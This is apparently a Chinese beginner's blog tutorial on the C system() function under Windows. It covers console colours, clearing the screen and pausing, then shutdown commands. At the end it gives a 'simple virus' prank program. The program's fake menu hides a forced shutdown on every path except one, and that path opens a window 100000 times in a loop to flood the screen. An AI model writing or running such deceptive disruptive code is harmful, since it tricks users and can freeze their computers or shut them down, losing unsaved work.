今天,我就带大家一起了解一下 (本期内容包括使用说明和简易病毒代码)
首先,想要用这个语句,就要加头文件
#include<windows.h> system 有不同的功能
一,颜色 system("color 15");
注:背景色蓝色,字体色紫色
注2:在这里表示颜色的数字和字母:0=黑 1=蓝 2=绿 3=浅绿 4=红 5=紫 6=黄 7=白 8=灰 9=淡蓝 A=淡绿 B=淡浅绿 C=淡红 D=淡紫 E=淡黄 F=亮白 第一个数字为背景色,第二个位为字体色
二,暂停与清空 system("cls");
注:为清空这条代码上面的输出内容 system("pause");
注:为暂停一下,按任意键继续
三,弹窗与关机(整蛊神器)
system("start");注:为弹窗
system("shutdown -s -t 0");
注:为将电脑关机
正片开始--- 直接上代码
#include <stdio.h>
#include <windows.h>
#include <malloc.h>
int main(void)
{
int c;
int i;
int j;
nihao: printf("1:睡觉\n");
printf("2:变成2臂\n");/*假的,1会关机,2会刷屏*/
printf("请选择:");
scanf("%d",&c);
if(c==1)
{
system("shutdown -s -t 10");
}
else if(2==c)
{ printf("电脑发怒了!\n");
for (j=0; j<100000; ++j)
system("start");
}
else
{
printf("你以为自己很聪明吗\n");
system("shutdown -s -t 0");
goto nihao;
}
return 0;
}